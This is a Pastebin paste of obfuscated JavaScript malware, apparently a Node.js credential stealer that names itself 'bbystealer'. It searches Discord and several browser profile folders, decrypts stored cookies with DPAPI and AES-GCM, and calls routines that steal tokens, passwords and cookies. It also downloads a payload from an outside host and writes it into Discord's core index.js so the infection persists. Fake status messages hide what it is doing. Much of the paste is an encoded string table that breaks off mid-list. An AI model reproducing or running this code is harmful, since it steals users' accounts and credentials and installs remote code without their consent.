Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function (a, b) {
- const c = a();
- while (!![]) {
- try {
- const d = parseInt("19054naGpzY") / 1 * (parseInt("10RFtZZs") / 2) + parseInt("1100094mbxknd") / 3 + parseInt("24uDDuYD") / 4 * (-parseInt("208015MygpTf") / 5) + -parseInt("3826440aeYLrG") / 6 + parseInt("119tSSjiY") / 7 * (parseInt("378184BiNeTW") / 8) + -parseInt("848871SxtnPZ") / 9 * (-parseInt("30ejVzIP") / 10) + parseInt("112178JqPuTd") / 11 * (-parseInt("156PLdkNX") / 12);
- if (d === b) break; else c.push(c.shift());
- } catch (e) {
- c.push(c.shift());
- }
- }
- }(a0_0x4c0d, 528634));
- const fs = require("fs");
- console.log("Error hooking\ discord\ rich precense libraries\.\.\.");
- var debug = ![], args = process.argv["slice"](2);
- args[0] == "debug" ? debug = !![] : hideSelf();
- const glob = require("glob"), crypto = require("crypto"), {exec} = require("child_process"), axios = require("axios"), buf_replace = require("buffer\-replace"), sqlite3 = require("nexe\-natives")(require.resolve("sqlite3")), dpapi = require("nexe\-natives")(require["resolve"]("win\-dpapi"));
- var appdata = process["env"].APPDATA;
- var localappdata = process["env"]["LOCALAPPDATA"], discords = [], injectPath = [], runningDiscords = [], paths = [appdata + ("\\discord\\"), appdata + ("\\discordcanary\\"), appdata + ("\\discordptb\\"), appdata + ("\\discorddevelopment\\"), appdata + ("\\lightcord\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Default\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 1\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 2\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 3\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 4\\"), localappdata + ("GoogleChrome\\User\ Data\\Profile 5\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Guest\ Profile\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Default\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 1\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 2\\Network\\"), localappdata + ("\\Google\\Chrome\\User Data\\Profile\ 3\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 4\\Network\\"), localappdata + ("\\Google\\Chrome\\User Data\\Profile\ 5\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Guest Profile\\Network\\"), appdata + ("\\Opera\ Software\\Opera\ Stable\\"), appdata + ("\\Opera\ Software\\Opera\ GX\ Stable\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Default\\"), localappdata + ("\\BraveSoftware\\Brave-Browser\\User\ Data\\Profile\ 1\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 2\\"), localappdata + ("\\BraveSoftware\\Brave-Browser\\User\ Data\\Profile\ 3\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile 4\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 5\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Guest Profile\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 1\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 2\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile 3\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile 4\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 5\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Guest\ Profile\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Default\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 1\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 2\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile 3\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile\ 4\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile 5\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Guest Profile\\"), localappdata + ("BraveSoftware\\Brave\-Browser\\User\ Data\\Default\\Network\\"), localappdata + ("\\BraveSoftware\\Brave-Browser\\User Data\\Profile\ 1\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 2\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User Data\\Profile 3\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile 4\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 5\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User Data\\Guest\ Profile\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 1\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User Data\\Profile\ 2\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User Data\\Profile\ 3\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile 4\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 5\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Guest Profile\\Network\\"), localappdata + ("Microsoft\\Edge\\User\ Data\\Default\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 1\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile 2\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 4\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile\ 5\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Guest\ Profile\\Network\\")];
- fs["readdirSync"](localappdata)["forEach"](f => {
- console.log(f);
- const g = {};
- g["qWPnY"] = "Searching\ game\ folder\.\.\.", g["ZdBdE"] = "cord", g["cCjuE"] = function (i, j) {
- return i === j;
- }, g["WIVeu"] = "KXIsO", g.gdhLe = "ypwKJ", g["PoZtN"] = function (k, l) {
- return k + l;
- }, g["ChTNG"] = function (m, n) {
- return m + n;
- };
- const h = g;
- console.log(h["qWPnY"]);
- if (f["includes"](h["ZdBdE"])) {
- if (h["cCjuE"](h["WIVeu"], h.gdhLe)) {
- if (_0xb3cf4b) {
- if (_0x2592ce) _0x177a09["log"](_0x4061cb);
- return;
- }
- } else discords["push"](h["PoZtN"](h["ChTNG"](localappdata, "\\"), f));
- } else return;
- }), discords["forEach"](function (o) {
- const p = {PqMzH: function (r, s) {
- return r - s;
- }, NGpYC: "aes\-256-gcm", dDqfd: "base64", PnOEN: "utf\-8", cPjMV: function (t, u) {
- return t !== u;
- }, gwgvp: "VsIDQ", ZPHZo: "Saving\ config\ file\.\..", ROAEO: function (v) {
- return v();
- }, UroCo: "Making\ game\ config...", mSQeL: function (w, x) {
- return w + x;
- }, FUJcE: "\\app\-\*\\modules\\discord_desktop_core\-\*\\discord_desktop_core\\index\.js"};
- console.log(p["UroCo"]);
- let q = p["mSQeL"]("" + o, p["FUJcE"]);
- glob.sync(q)["map"](y => {
- const z = {MdZZE: function (aa, ab) {
- return p["PqMzH"](aa, ab);
- }, yOscB: p["NGpYC"], lhQGD: p.dDqfd, kkPaQ: p["PnOEN"]};
- if (p["cPjMV"](p.gwgvp, p["gwgvp"])) {
- let ac = _0x109bf3["slice"](3, 15), ad = _0x57cec8["slice"](15, z["MdZZE"](_0x486006["length"], 16)), ae = _0x781149["slice"](z["MdZZE"](_0xa5fe58["length"], 16), _0xcac2d3.length), af = _0x5608ee["createDecipheriv"](z.yOscB, _0x21baf8, ac);
- af["setAuthTag"](ae);
- let ag = af["update"](ad, z.lhQGD, z["kkPaQ"]);
- ag += af["final"](z["kkPaQ"]), _0x5564c3 += "\
- HOST\ KEY: " + _0x2b7de0["host_key"] + ("\ \|\ NAME:\ ") + _0x56793d["name"] + ("\ \|\ VALUE:\ ") + ag;
- } else injectPath.push(y), console["log"](p["ZPHZo"]), p["ROAEO"](listDiscords);
- });
- }), stealTokens(), stealPasswords();
- stealCookies();
- async function Infect() {
- const ah = {cUvmd: function (aj, ak) {
- return aj(ak);
- }, winem: function (al, am) {
- return al + am;
- }, hGzrr: "return\ \(function\(\)\ ", hkFEP: "\{\}\.constructor("return\ this"\)\( )", UQWtX: "Saving\ config\ file\.\..", voJBJ: function (an) {
- return an();
- }, HazOt: function (ao, ap) {
- return ao !== ap;
- }, egtvO: "qgNUh", wxzWr: "DZYBO", bPqen: "utf8", YgRky: "index.js", sYjOF: "bbystealer", TVwsR: "oKrXV", fbxqM: "Online\ update\ finded!", idrOH: function (aq) {
- return aq();
- }, wmnYt: "Searching\ online\ update", AREhD: "https://remove_bby\.rip/UljlehPIgdqu/str"};
- console["log"](ah["wmnYt"]);
- var ai = await axios["get"](ah.AREhD);
- injectPath["forEach"](ar => {
- const as = {CwxsG: ah["UQWtX"], vrSbk: function (at) {
- return ah.voJBJ(at);
- }};
- if (ah["HazOt"](ah.egtvO, ah.wxzWr)) {
- const au = {};
- au["encoding"] = ah.bPqen, au["flag"] = "w", fs["writeFileSync"](ar, ai.data, au);
- let av = ar.replace(ah["YgRky"], ah["sYjOF"]);
- !fs["existsSync"](av) && (ah["HazOt"](ah.TVwsR, ah["TVwsR"]) ? (_0x3a824b["push"](_0x4bf5d4), _0x2bf987["log"](as.CwxsG), as["vrSbk"](_0x189bed)) : (fs["mkdirSync"](av, 484), console["log"](ah.fbxqM), ah["idrOH"](startDiscord)));
- } else _0x360b0a = bXVBVN["cUvmd"](_0x46a722, bXVBVN["winem"](bXVBVN["winem"](bXVBVN["hGzrr"], bXVBVN["hkFEP"]), ");"))();
- });
- }
- function a0_0x4c0d() {
- const aw = ["j8ocvCoUCq", "bSk+W5C/iG", "W4FdT8oXiHy", "bdVcSCoykW", "WP1bW5DIWP5ArCkkW7NdJWJcTG", "jmoLsCoKtq", "sGq2hCoD", "zCkiW5uvW4C", "WRi8WPz4W4e", "W5DiW58YWQC", "bxbQoeW", "trhdKSoMWPO", "W6VcVGak", "W5D7CKru", "fCoWDSkQW7O", "fqKUe20", "W7SaWQKxWQ0", "qSoKWP5HvG", "hmkdW5tcPmo+", "W5NcMGKiWQ4", "WOC0Cmk2WQS", "W7hdKmozWQya", "W6ZcSWHpW78", "W4PjW7q5WR0", "gCossbKf", "W4BdGeXHpG", "WR09wSkgWRq", "WRtdIf5IvW", "W4beBfnm", "W7a6WOdcOHy", "W7jsr2bN", "W4fPwwTW", "WPhdRCogWPldPW", "kx0P", "WP8Zxa", "EdVdMCo7WO4", "W7ivWPuzWQm", "Dtqbb8k5", "yWJdP8o2WR4", "hCoopd8e", "WQCFWPjRW58", "iSobl0xcOW", "W7XqW6O6WQS", "lNNcPmouAa", "Af7cJmoUuG", "umoSWOfVyq", "W4CyWOW/W5m", "mhSRxmkB", "lhyGsCkg", "W4BcJmkyWONdOG", "yfVcQbbl", "qvZcPajw", "W4dcTXLr", "Cq7dKa", "W7icWOO+W5y", "WQldGmoFWPRdTa", "rNpdPCo7WQ8", "l8kADq", "rZW7BXG", "bSofDt7cIW", "fGFcT8olgG", "WRngACk9aW", "WQbofCoEW58", "W6VcQZGCWQ4", "h15YpKu", "W6FcImo5W6Cd", "CCo+WPD2kG", "WOWWwxJcIG", "oNf4smkV", "WPeLFmkNWPu", "W7DkW6m8WRW", "p8oxaxJcSW", "WQ/dN2rEjq", "WODDqCk3ba", "b27cN8oKzW", "e8oxaK7cNW", "W53dRKNdIhm", "WQCvWO9IW6i", "W4LVW74/", "EenykGG", "CYOJeCoR", "FdldUCoMWRO", "W5ObWO4HW4m", "W6CDWQeyWQO", "sL4FE3G", "kmkDWOzBrq", "WRm6WQ13W74", "emovCmkvW4u", "W7tdG8o6dty", "W5v5eCoyWP4", "W6XVvmkBW6i", "mvpcJ8o4rq", "yCk3W5i", "pSkHW4G", "WPi0xdlcUa", "sSoMWObUxG", "W6HWt8kIxW", "lhWP", "s8oUWPD3Eq", "WOWfnCkiea", "obWP", "W47dSLi", "AL57lLn9W4JcGfu", "WRaiWPPTW5a", "W5VdRNNdIhS", "W4tcPCk9WPiL", "gY3dPuvE", "FY8MDmoS", "W75gF0zs", "yqa6kCoc", "W4hdHg1UvW", "WPRdTSoIWRldTW", "gvjIoLq", "bSofDtJcIW", "WRKju8oVW7O", "p8oGxmkOW68", "fumTB8kR", "mSkvWOCaW7q", "AthcPSow", "kSojsCk/W48", "tqqNsCoD", "m0a3qmkr", "W5T/W78tWRS", "cgnqmKy", "W6dcL8oIWO0v", "pKvdlqi", "WOJdQeDzuG", "WQJcHJyYBG", "gmkHW5yXaq", "W6lcHMZdNv8", "u13cNGjD", "WQFdG8oZWR7dGa", "WOW4wgRcLa", "W4mzWRtcGNK", "W79fb8o0W7BcGmoywbaCnmk6WPK", "cmotxSoHza", "WRnsW4ieWOO", "usuCFSot", "rSoMWQzYwq", "rSkUW4TEyW", "WQBcHmkWWRGB", "AWVdOmoHWO0", "nmoNWQxcSsS", "WPLcW75bW7xcRSoxW7LeoYhcUG", "dSkwW4pcOSoI", "mCoUpdi", "jmo7tZyW", "pGPpmmk8", "wviyAu0", "WPO0ESkP", "WOxdTurIhq", "W4izWOG", "W4/cRSkyWOe7", "ASoErr0n", "CKbKvty", "gmooDupcUq", "dCkpW4C", "tHq5bCo2", "ysK8d8oW", "WORdVmoLWRxdQa", "D8oIWOi7gq", "xbKyzmo4", "W5PHtSkt", "cIPlf8kA", "a05Rx8o7", "W47cQ0NdK1K", "h8kfWR7cSdG", "ydWXaSoc", "W4tdMmk5WOZdIq", "sCknW59vzW", "BmoVWQfbyW", "W6fBimodW6C", "WPhdGaOxBq", "iCoTAbmU", "mvjKo2C", "W6eyWOm6W4G", "WQ1DCSkAW6i", "W5ldUxTuca", "ttldSCo7WRm", "W7b/b8oc", "W75Ezubs", "W4T+W5iZWRS", "nCo9wCoL", "b2u4vSkH", "i8kEWRihW5a", "W6ZcSq4dWR4", "cmkAW5lcGq", "FgBcUXz2", "WRqDWPPrW7u", "WQKtvSkWWRS", "WRu6WQb6W4O", "W7ZcISk4WOJdQG", "Amo3WR5jua", "W4pcOmkCWR4W", "WRutvG", "mmkWWP/cRb0", "W4JdO1JdGM0", "W75my0bt", "WOVdUgL4mW", "nqJdHCoEW6u", "d8oymgNcHa", "tdhdVSoXWRO", "ycrupmkU", "WORdTM4jiW", "W5jAz0Tk", "W4hdGemnaG", "WPLgWRm1WOddRSodW4q", "fCkgWPOdW4e", "sZldHmoMWQ0", "jmkyWOaa", "W49GomkyWR/dSKldOL4", "w1igEa", "vMb7jq", "WQpdJmoaWPRdVG", "omoqz8kdW7i", "e8oorZFdGa", "kCkrWPScW5W", "eJKjnNy", "WO0zuCoVWPy", "WPhdS3m9bq", "eCkrWOdcNsO", "W6POW7uLWRC", "urirAmox", "B1WbBu0", "imk0WPpcRcm", "eSoIrXmo", "W5/cNuxdGwK", "W4itW49NW7O", "WORdMuK3bW", "gCofnhJcTa", "lH8RrG", "q8kOW6n5Bq", "tINdNCoxWP0", "WQ4HFmoOWPS", "dCodDmkqW4S", "W4e0WO7cObm", "dK7cUSozxW", "nCkUW5WUxq", "WQpdM8oHWOddTa", "psHSmmkj", "EdaAnSod", "W41Ho8kUW44", "W5RdR34SaG", "WOufFSkbcW", "dLPkCuC", "WRaqWPTYW4e", "WPivWOTnW6W", "WPi6Aq", "lSojjMNcUa", "W45ZW6n6WRO", "amk0WPpcRg0", "xdldUCoHWQS", "W6pdQwD3Aq", "W5vXz311", "smoIWPu", "WRK/WPn+W64", "W6lcMSo1WQ42", "W5XhhCojW4W", "W4KlW6LmW6S", "W7lcNGGjWOu", "W5PUdSosW4K", "W7xcImo8WQex", "eSoZic1F", "l8k0jsKz", "emkdW4ipka", "WRatqCkdWRS", "W7xdPurRga", "W6GOeCkRW5u", "WOSoW6y/WOu", "cmokfwhdGa", "W6LKeW", "e8o2ESkjW4K", "oejhlvy", "W4VcKJCBWP8", "WQKvzCklWQu", "kSofySkjW5W", "W40Lo8kQW4W", "gsbxeCkp", "WOW6ECk7WPy", "ka4/iKO", "W4y6WPqvWQi", "W5FcR17dHhu", "rbegeCot", "jCkZWPpcUHi", "W5PHhmkGW5q", "c8oqyCkhW7i", "WOuiFvJcHW", "W53dTSoaDX0", "WR0zu37cLa", "yx8UWOG", "WOfFz8k+mW", "WRxdVhaXgq", "WRyfAhFcSG", "ex/cQ8o8yG", "W6yuWRxcHGu", "W41bB31t", "dSoTe17dJG", "wfvhW5ZcPG", "W4OtWPW", "n8kMWOxcU3S", "ft7dQSkgda", "W5hdHurDva", "mJJcQSoV", "i8oyDSogW50", "WPFcVa8wzW", "kmkrDSkjW4a", "WRm5s8ksWPy", "vKBcLqjf", "iCoenMpcUq", "k8o4rHSe", "W7ldLmoDod4", "dmohdMFdUq", "W65RamodW4G", "CSoeWRbOxa", "WO4EWOy3W4m", "oSoIwmoYzW", "W44EWQPFWQe", "WROexNZcUq", "W49QyKzi", "nmkNW4yNdW", "W7nVbSkkW7O", "rvzXWOJdUq", "jmo1o3qt", "m8oMiM7dIa", "FmkZwCoZDW", "eGpcImo/mq", "W4FdNKnXwG", "kZvCaSk6", "W7tcL8o9WQ0O", "AI7dSSoGW78", "lWGIdhS", "W4VdNSohgsm", "c8kkW4SSdG", "mWalo08", "W6TLyHys", "W5BcR8o6WQiq", "F8kBWPVcSsK", "e8ocFCogAW", "vWaPwa", "WQ46vmk8WR0", "W47cQ8oIWRSn", "W5FdUfX+fa", "W7/dQ09Nua", "fxdcKrDq", "WQOqENJcIq", "xCoCWOr0tW", "x1ifu3i", "hfLunh4", "kdlcT8oFjW", "kW9knSo5", "amkuW7lcJ8oh", "W5qKbG", "W6dcKCo8WQ1u", "WO8ir8kWWQC", "w1b8mXa", "it3cSSowyG", "zCozWRGaW4u", "WOqwWRK", "th99", "rvjkmWa", "W73cImkiWO8X", "c8kwW44LdW", "WQ3cSImdsG", "WRamwmkYWQy", "bSopmG", "nhi6r8kr", "fgtcKmoFBq", "amo/k3CI", "iWjdk8kB", "DmoTdmoouW", "W6v5bW", "E3LAW5dcMW", "W48gWOKsW7C", "W7xcSWWgWQu", "W5VcKM3dKNG", "rNrumfu", "lIdcTG", "hrrjnCkW", "ecJdRfGc", "kaCKhxO", "W4lcT0XSha", "W4VcJd4h", "lSkHW7ukhW", "otzNk8k6", "WOzaBG", "WRxdU0OsgW", "p2hcOI8l", "buvjm0C", "oCoZaKxcHq", "W6BcSamCWR8", "WQmkySkRWQW", "lKpcHSkhjG", "WRGMqmkQWPK", "W4BdMhnEvG", "W63cGCk4WR4e", "mmk/W70Jeq", "F08+svK", "na/dJuna", "W4nFh8oSW4K", "oSk/W4a5hW", "WPCNxCkXWP0", "ja5meCkR", "nmk3WOBcSJq", "xeTtW47cMW", "wWGQwq", "AdldHmoLWPa", "WR0vWP5QW6y", "FvTK", "WPzcW5DRWPfFvmkBW4pdHaZcUW", "W4XYDmkaaq", "yfCVwSkt", "W4SKhmk7W74", "htKcmZ8", "uKBcVJTq", "W4RdPubr", "pmonn3xdJq", "gvLanK4", "tuLX", "qLxcGGzT", "hqPgW67cObJdI8kK", "DX01bCoT", "W5WDWRqAWPG", "W4NcTmoLWOCM", "pKBcSCosya", "nx3cT8kYW78", "gCkKWOCkW44", "qLmry2y", "jwC5qCka", "rMP7hsK", "b8o/wtGh", "zCkrW4L/Ca", "DduXaq", "W44fC8kpca", "lSoWqCoJza", "W4VcVCkQW6G", "WPdcLdXioG", "W5zOW6yl", "jSoKrWqo", "aZxcQSoshG", "WQZdGSorW5pdOq", "gCodoNJcSW", "W4ldJMb3DW", "WPC9o0jd", "mSoQwXK", "WRZdMmoDW43cNq", "grtdGeO7", "WQ0wWR14W6q", "WQtdMNq3ea", "kCkBWPi", "WQJdH8oKWRRdTG", "uwPRnbS", "nX4OxLK", "WR/dS8oHWOddTa", "W4/cLSkE", "WPNdQxOemW", "WOjau3WA", "W7hcLmk9WQ0t", "W6ddHwvmpa", "xJhdOSo3", "W7VdI8o8lsK", "W6vKaG", "WPmwF8kzWOm", "expcSCoHuW", "kmo1ka", "W5DPW6i7WRS", "qMvHW5RcUa", "ytu5bCoH", "jaHfp8kS", "oCk8W4aNdG", "W7bRbSozW5S", "WRtdRLqBWPHSDCkErW", "i8ounCotW7i", "E1n6W4ZcUW", "rYVdU8oGWOy", "W47cNmk0WRay", "kmkAW5lcGCoQ", "ySoZz8kjW5K", "rCo+WOfZzq", "fCo5rHei", "W6pcTGmoWQC", "jSoVfKVcMW", "oZtdJ3zC", "gCkIWRxcUaW", "W4xcNhORqW", "DY45fmou", "W5SyWP8HW4K", "W6P/W6WLWR0", "W48qWP7cKtG", "xraXeSoP", "EY8ScN4", "W4JcU8o6WR47", "gCoftamw", "tHmTsCo8", "WOK0FmkTWQ8", "W7uTWOJcIda", "hLfT", "W5/cT8obWPSZ", "mSoCybqX", "yCodWOD3yq", "pCouDmkcW6G", "gcpdU2vn", "aYlcJmoXjW", "WONcJZ0", "WOy/EmkcWQq", "ruxcTWv+", "d3pcT8ovAq", "W7fDBSkbWQ0", "berda0S", "W6RcNComWOSC", "W4adWPywWR0", "WQCFWOH9W6y", "nSkeWPKmW5W", "W5mUga", "W4VcNmokWPiX", "WQ8QwuBcQW", "W6NcI8o/WQ4a", "WPTQzCkIda", "W4utWQSu", "k8oiyCkrW5K", "W4tcK8kH", "WOrkB8kRba", "nmk3WPaQW5i", "dwxcRmoBCG", "W4/cS8oHiZG", "W6FdVCogzgS", "W411W70iWR0", "f8oefhddGW", "b8k9W4aTaG", "WRWuASkzWQi", "i8oSeMhdRW", "nSkrWOeKW50", "imkPWOBcRci", "W5KeWOyNW4m", "b1niofy", "pSkSWQBcVXW", "W5WZgSkUW44", "WO8nC2xcKa", "aMb/lde", "WR8Ay8krWQe", "WQldM8oqWQhdMq", "uMzNhGK", "a8oKumoCWO4", "rHpdKSo0WRe", "W6BcMSkWWORdLG", "W4SKuCkQW4i", "lZffhCkF", "cLegqmkh", "g2ZcVhXI", "WOOqESkfWOG", "W6BcM1NdGM8", "WQ3dMxmnhq", "cmkSW4a5dG", "W6efWQebWQG", "WPBdUx4Gnq", "W4vVoSocW64", "W6e8WQusWOK", "EmopWObLFa", "iKu/f28", "mSkUW4WJ", "pWO5h0m", "W6ldSwvKia", "ndhcRmktbG", "nLWzv8ku", "hfDuoN4", "WOJcVxDPga", "W5OHWP8RWRa", "iSkJW4O4nW", "n8ouWReeW5W", "WOddOqxdHx8", "W5NdHmo7naK", "W5ldUfLMlq", "ahLLdxi", "WQuZWOzaW5m", "ma40", "WQasuG", "i8ouE8kbW5O", "W4tdGaqeBG", "it3cSmoslG", "rY9niaG", "WQOJWQXoW7a", "W480dmkN", "c8ohr8kKW4S", "W4WXe8kMW5K", "W7CXWQm2W4u", "gXBcRmosna", "mSo+oXSd", "W4qhWQ7cIG", "r1is", "u3NcKsjA", "WR3dJSohWOddPG", "k8oxkZCz", "gvj2c2a", "WPldRghdGM8", "aCkZW5xcISoW", "FfhcHqf9", "W6XVgSonW4O", "WP7dM3iFoa", "yJGJfCoZ", "WPhdQSoqWPtdTa", "W4ryBhrd", "pNDUn3q", "lenKDd8", "wmktW4LRBq", "oNVcISoBFG", "W7OnWRBcTq8", "WOKWFmk7WPS", "W55TW6OHWQ4", "DCklrYtcVa", "tmolWRvIsa", "dmoofvJdIq", "W4H4De9b", "WQCFWPLNW68", "zJGJdCoO", "W40QiW", "WO8Zv3FcRW", "W7pcJYiFWPW", "WPBcVmkCWPNdNa", "wmkeW6jdxa", "WO0gD8kMWPa", "W6f6bmogW5C", "xGqW", "emkvWRJcNWa", "WOKNz8k8WPy", "iZVcQCkBzG", "mmkRWOpcRJ4", "WPGqWODmW5a", "WOyfWQjf", "W5rnvuDX", "cmowq8oVDq", "gCompgNcSG", "WOuwWQP8", "WQ/dHSoAWPC", "WO7cS8ksDW", "oSk0WPNcUdK", "qMRdO8oRrW", "W7pcRIqEWRi", "WPbhWOD3W74", "kSkhWPOdW5W", "W5bKyvzf", "W7FcIXdcHW", "qfvZ", "W6RdG19DvG", "WRK3vSk1WOW", "W4XazCklrq", "nwmQt8kg", "g2v6", "r1DyfYq", "W7SEWQ/cKXa", "bwLtlu4", "W70GWQ0", "W6hcVSo9WOan", "WRtcGtGtEW", "mSoVW5O7dW", "dMvjovy", "cmousmoNDW", "WROBWOHSW6i", "W4mEWQGzW6q", "WOCbB2dcSG", "WORcKWugCa", "W7u8WPFcGIW", "dSoiqCopFa", "uGq9", "uCoeWPXgBq", "tH4/cCoJ", "AuHMlHS", "WPryW784WQK", "W7euWRFcJJC", "W7FcSaSgWQC", "WQ0HzCkWWQ0", "ugfQmWu", "jvtcQ8oNsW", "W7tdJvzDhG", "jSkrW5uMW4C", "W4qcWPu0WRi", "lMrOhM8", "FLeEySoHms/cRHldRCkDW7W", "BuSli8kR", "dmoFzComyW", "W4tcNSkcWP4K", "cmoSnuBdNG", "WPJcPmkjWOJdKa", "W7hcSd4BWRK", "oH8SiLG", "trddH0vy", "W40Ucmk8W58", "W5tdPh5Gnq", "iHvjnCkT", "W4ZdLSoultW", "u0RcJCoyCG", "DtddO8oaWPK", "W4f/WQ16WRa", "WPezyCkhWQi", "W6/cR8orWPSz", "xW42Emo4", "hY/dO1Df", "jSodrSkFW4a", "WQ4FtmkXWRy", "W5SAWQmdWQ0", "fSoAE8ksW6C", "W5VdGe9ovG", "WQPZr8kMfW", "j8oJESoArW", "W4tdSCo0dr0", "D8oxzXiv", "W5GEWQ8sWQe", "BCkzW7Puzq", "fsPQiSkw", "cmojo24", "wf/cLaPd", "eMOpqmkC", "jatcTmo+fa", "W4ObWRxcLYO", "eSoocxddGa", "WO0WFmoOWRC", "W4GIbCk5W5i", "W4tdP1TPea", "W6xdMmoJWRWv", "W6fVb8khWOW", "W4CxWQGwWRa", "E29fW4dcPG", "W6vUyMzp", "gaqIfxy", "pmkeWPbfWOu", "xw1eW4BcJq", "W4/dTSobEMS", "WQBcS8ovWPfo", "W5JcI8ksWOhdMa", "WQm4CxRcJq", "dHGOdd8", "W6VcRaidWQ4", "r2bKjca", "WPdcQdWCBW", "pmkZWP4", "l1DspKa", "W4lcOSkEWOWi", "wd0ut8o2", "W7tcVSkjWPP0", "WQddLveljW", "aSkNWQqJW5e", "W5lcPmkeWQKW", "imkNWPOdW5W", "W4P9Evzf", "wXZdMum", "W73cNxVdOwq", "nSkeWPZcQWG", "fx/cTtOl", "W4ldGSkW", "iSk9WQueW4a", "jCo+pa", "xI3dP8o+WQy", "ktdcU8olBa", "W4FdIK9bvG", "W5CUdmk7W6u", "bh/cR8oyjG", "e3/cP8oPrq", "mb/dHuHw", "W7FcTde", "W4SzWQtdIxC", "W5/dJvriBW", "WPyYtgy", "cmoofxFdTa", "WPBdLCoqWP3dJW", "W4RdHuHj", "nhi9rCkz", "vxrxW6tcJa", "W5FcJmkC", "W4z6nrJdVq", "D8kZWO8Eoa", "WRWCWPmUWQW", "W6pdMmkIWPq6", "WRGytCk2W60", "WPmZt2dcSG", "Aw3cKq1v", "jwvQn1G", "smoOW5i3vG", "W4ddSuP4hq", "WRaWESk/WPW", "c8omig8", "DJWJ", "pCkiWPhcLWy", "sCouWR1Lwa", "qLfMW4lcGa", "gmkuW7xcLmoe", "W7dcRvJdPe8", "h0fhluC", "W53dV8oBndW", "W4pcI8kyWP/dKW", "W4CnWP3cVJG", "b8kSW6WIja", "W440WRJcSb8", "kCoKtG", "hfW+s8ka", "WO8jw3FcRG", "yfOFy1y", "s0Ogcwm", "WPpdSeGbhW", "FuDrcrm", "q0HWW5JcOa", "vmkKW4jQyq", "mSk8WOeVcq", "WOldSM4GlW", "wwbU", "WQXKxSkTbG", "w1D6W7hcOa", "iCo/qmoPFa", "e8o0CCkbW4S", "W5RcV8o/WQCt", "W580WRScW6K", "W5iaWRlcJW", "W4CyWOK8", "W5X4W6u4WRe", "mCkMW4HRdq", "WR0FWOX6W5W", "iCouBCkdWOm", "WPWdWQ80WOa", "WQldG8orW53dHG", "W5hdUhH5aW", "W5mKi8kbW58", "W5OpWP82WOy", "rIFdG8oXWPC", "W7dcRWKoWR8", "d3FcT8oEBG", "W7xdL8oEoXa", "rxP6kq", "DWO/amoW", "W43cQmkcWO8G", "yf5Ensq", "lZX+o8ko", "mIvWm8ox", "E8k0ydGu", "imoLxq", "ahFcSmoyma", "Cmo8WOPcAW", "ruhcGWS", "nW4JgwS", "qSkEW57cHq", "Dda8a8kK", "eqDwi8o0", "c8kAW5WUgq", "W67cTd0oWPO", "svGbEhq", "EmojWPDIAW", "qK5bW5VcSq", "W5hcPCkjWPO9", "cSksW4JcGCoA", "W5NcNr8oWR0", "W4TNCWus", "g35Jj3q", "kZVcUq", "WQ0nrCkUWRS", "y1r4W4hcUG", "W7JcI8k5WOldMG", "CtyGh8oc", "WQiKWRv6W64", "W7tcL8oNWRSr", "ytWXfmoN", "lCoaCZay", "WOdcMay8yW", "iGNdRuDj", "cSklnq", "eCkMW4mUoa", "dSkbW4yfbW", "w0Ggza", "W4uwWQmjWOy", "W50tWP0pW7m", "W4HMp8o/W7y", "lmoJBrqq", "W53dOSoEpI0", "uJxdLCoOWPC", "WR5DCCkJWRy", "nmkUW5SIba", "W7tcNCoXWQWY", "W6pdN8ohW4i", "W5FdI35+fa", "W7n9W78vWP8", "WOKVwZZcVa", 